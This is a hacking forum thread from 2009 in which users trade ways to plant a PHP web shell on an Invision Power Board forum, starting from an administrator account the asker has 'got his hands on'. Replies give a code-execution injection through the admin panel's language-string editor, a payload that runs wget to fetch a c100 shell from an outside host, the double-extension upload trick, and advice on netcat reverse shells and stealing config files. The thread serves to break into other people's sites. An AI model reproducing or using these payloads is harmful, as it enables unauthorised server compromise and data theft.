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www.waraxe.us Forum Index -> Invision Power Board -> Uploading a shell with Administrator acc? Goto page 1, 2, 3  Next
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Uploading a shell with Administrator acc?
PostPosted: Mon Jun 15, 2009 1:06 am Reply with quote
ThinSmoke
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Joined: Nov 15, 2008
Posts: 55




Heya,
recently i got my hands on an administrator account of a 2.3.6 ipb, now my problem is iam not root admin, i cant think of any method which could help me to upload a shell :/
I tried searching, everything failed Sad
Any suggestions please?

Thanks.
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PostPosted: Tue Jun 16, 2009 2:26 am Reply with quote
ThinSmoke
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Joined: Nov 15, 2008
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No1? Sad
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PostPosted: Wed Jun 17, 2009 2:31 pm Reply with quote
timor
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Joined: Jun 07, 2009
Posts: 30




It is not possible for me, I have tried with 5+ boards with root admin. The idea is you can upload a .php shell in the emotion manager. BUT FOR ME IT IS ALWAYS SAYING THAT YOU CAN ONLY UPLOAD .JPG .GIF ETC!!!
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PostPosted: Wed Jun 17, 2009 5:43 pm Reply with quote
JasonB
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Joined: Apr 05, 2009
Posts: 23




I assume you've tried the basics (putting a shell as shell.php.jpg)

Have no experience with IPB.
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PostPosted: Wed Jun 17, 2009 11:51 pm Reply with quote
ThinSmoke
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if you upload a x.php.jpg wouldnt it be parsed as a jpg? .
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PostPosted: Thu Jun 18, 2009 12:59 pm Reply with quote
waraxe
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Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




IPB current version and older versions are allowing admin to edit language strings. This is accessible to all admins, included non-root ones.
Next, almost year ago there was DarkFig's advisory:

http://mgsdl.free.fr/?0:18

Code:

VI - CODE EXECUTION

  The ACP allows admins to manage languages, they can
  choose the default language, import a new one, and edit
  them. Let's take a look in the file "sources/action_admin/
  languages.php":
...


This trick is working even against current IPB version!
Just go to admin-->Look and Feel-->Manage Languages

Then choose section, for example: public_help

Edit "help_txt", which originally is "Choose a topic from the list, or search for a topic"

Add some php code, so it becomes as:

Code:

Choose a topic from the list, or search for a topic

${${phpinfo()}}


Save changes. Then go to help section:

http://localhost/ipb.3.0.0.rc2/index.php?app=core&module=help

... and php code will be executed


Smile
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PostPosted: Sat Jun 20, 2009 1:51 am Reply with quote
ThinSmoke
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Joined: Nov 15, 2008
Posts: 55




Thx waraxe but didnt work out..
No permissions to write there Sad
Could not write back to D:\Hosting\4204178\html\forums/cache/lang_cache/en/lang_help.php
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PostPosted: Thu Jul 23, 2009 8:09 am Reply with quote
xalupeao
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Joined: May 23, 2009
Posts: 17
Location: Santiago, Chile




create a new lenguaje based ... =)
----


what code for injected shell
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PostPosted: Thu Jul 23, 2009 5:43 pm Reply with quote
ThinSmoke
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Just basic php dude lol..
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PostPosted: Fri Jul 24, 2009 3:08 am Reply with quote
xalupeao
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Joined: May 23, 2009
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Location: Santiago, Chile




${${phpinfo()}}
......................

${${system(wget http://blacknite.eu/php_shells/c100.txt)}}
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PostPosted: Wed Oct 21, 2009 3:50 pm Reply with quote
nuker
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Joined: Aug 16, 2009
Posts: 39




maybe its a dull question, but once you have uploaded the shell then you can have access to all the files in the forum folder like if it was FTP? how you do it?
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PostPosted: Wed Oct 21, 2009 9:27 pm Reply with quote
RG007145
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Joined: May 04, 2008
Posts: 27




No. You can read all files readable by the web server (source code), and you can upload files to directories chmodded to 777.

If upload is possible, you can also upload software and run it, which means you can execute privilige escalation exploits if applicable.

Also, if you can't upload a shell, you can put in PHP that calls the 'netcat' or 'nc' program through passthru(), system() or exec(), which can give you a netcat reverse shell (use forum search).
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PostPosted: Thu Oct 22, 2009 10:30 am Reply with quote
nuker
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Joined: Aug 16, 2009
Posts: 39




okay, so for example i can download config_global.php using the shell? i understand this tutorial to execute the php code and upload the shell, but after that whats next? where do you access the shell from?

Thank you!
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PostPosted: Thu Oct 22, 2009 11:26 am Reply with quote
pexli
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Joined: May 24, 2007
Posts: 665
Location: Bulgaria




nuker read some books for apache,php,mysql,UNIX servers ...etc
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PostPosted: Thu Oct 22, 2009 11:53 am Reply with quote
nuker
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Joined: Aug 16, 2009
Posts: 39




forums like this are for making things easier. Im not spending years reading books just to find something i could learn in 2 seconds if somebody kind enough tells me. Besides i dont think i can find on any book how to hack an IPB...
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Uploading a shell with Administrator acc?
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